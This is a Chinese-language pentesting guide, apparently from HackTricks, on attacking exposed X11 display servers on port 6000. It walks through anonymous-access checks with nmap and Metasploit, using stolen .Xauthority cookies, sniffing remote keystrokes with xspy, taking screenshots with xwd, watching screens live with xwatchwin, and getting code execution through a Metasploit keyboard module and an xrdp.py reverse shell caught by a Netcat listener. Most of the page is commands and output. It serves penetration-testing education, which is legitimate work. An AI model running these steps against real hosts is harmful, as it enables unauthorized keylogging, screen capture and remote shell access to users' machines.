# 6000 - Pentesting X11 {{#include ../banners/hacktricks-training.md}} ## 基本信息 **X Window System** (X) 是一种在基于 UNIX 的操作系统上广泛使用的多功能窗口系统。它提供了一个创建图形 **用户界面 (GUIs)** 的框架,各个程序负责用户界面的设计。这种灵活性允许在 X 环境中实现多样化和可定制的体验。 **默认端口:** 6000 ``` PORT STATE SERVICE 6000/tcp open X11 ``` ## 枚举 检查 **匿名连接:** ```bash nmap -sV --script x11-access -p msf> use auxiliary/scanner/x11/open_x11 ``` #### 本地枚举 用户主文件夹中的文件 **`.Xauthority`** 是 **X11 用于授权** 的 **文件**。来自 [**这里**](https://stackoverflow.com/a/37367518): ```bash $ xxd ~/.Xauthority 00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M 00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE- 00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X 00000030: 041d ef ... ``` > MIT-magic-cookie-1:生成128位密钥(“cookie”),将其存储在 \~/.Xauthority(或 XAUTHORITY 环境变量指向的位置)。客户端将其明文发送给服务器!服务器检查是否有此“cookie”的副本,如果有,则允许连接。密钥由 DMX 生成。 > [!WARNING] > 为了**使用 cookie**,您应该设置环境变量:**`export XAUTHORITY=/path/to/.Xauthority`** #### 本地枚举会话 ```bash $ w 23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session ``` 在这个例子中,`localhost:0` 正在运行 xfce4-session。 ## 验证连接 ```bash xdpyinfo -display : xwininfo -root -tree -display : #Ex: xwininfo -root -tree -display 10.5.5.12:0 ``` ## 键盘记录 [xspy](http://tools.kali.org/sniffingspoofing/xspy) 用于嗅探键盘输入。 示例输出: ``` xspy 10.9.xx.xx opened 10.9.xx.xx:0 for snoopng swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123 qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab ``` ## 截图捕获 ```bash xwd -root -screen -silent -display > screenshot.xwd convert screenshot.xwd screenshot.png ``` ## 远程桌面视图 Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) ``` ./xrdp.py ``` 首先,我们需要使用 xwininfo 找到窗口的 ID。 ``` xwininfo -root -display 10.9.xx.xx:0 xwininfo: Window id: 0x45 (the root window) (has no name) Absolute upper-left X: 0 Absolute upper-left Y: 0 Relative upper-left X: 0 Relative upper-left Y: 0 Width: 1024 Height: 768 Depth: 16 Visual: 0x21 Visual Class: TrueColor Border width: 0 Class: InputOutput Colormap: 0x20 (installed) Bit Gravity State: ForgetGravity Window Gravity State: NorthWestGravity Backing Store State: NotUseful Save Under State: no Map State: IsViewable Override Redirect State: no Corners: +0+0 -0+0 -0-0 +0-0 -geometry 1024x768+0+0 ``` **XWatchwin** 对于**实时查看**,我们需要使用 ```bash ./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo ./xwatchwin 10.9.xx.xx:0 -w 0x45 ``` ## 获取 Shell ``` msf> use exploit/unix/x11/x11_keyboard_exec ``` **反向Shell:** Xrdp 还允许通过 Netcat 获取反向 shell。输入以下命令: ```bash ./xrdp.py \ –no-disp ``` 在界面中,您可以看到 **R-shell 选项**。 然后,在您的本地系统上端口 5555 启动 **Netcat 监听器**。 ```bash nc -lvp 5555 ``` 然后,将您的IP地址和端口放入**R-Shell**选项中,然后点击**R-shell**以获取一个shell ## 参考 - [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) - [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) - [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) ## Shodan - `port:6000 x11` {{#include ../banners/hacktricks-training.md}}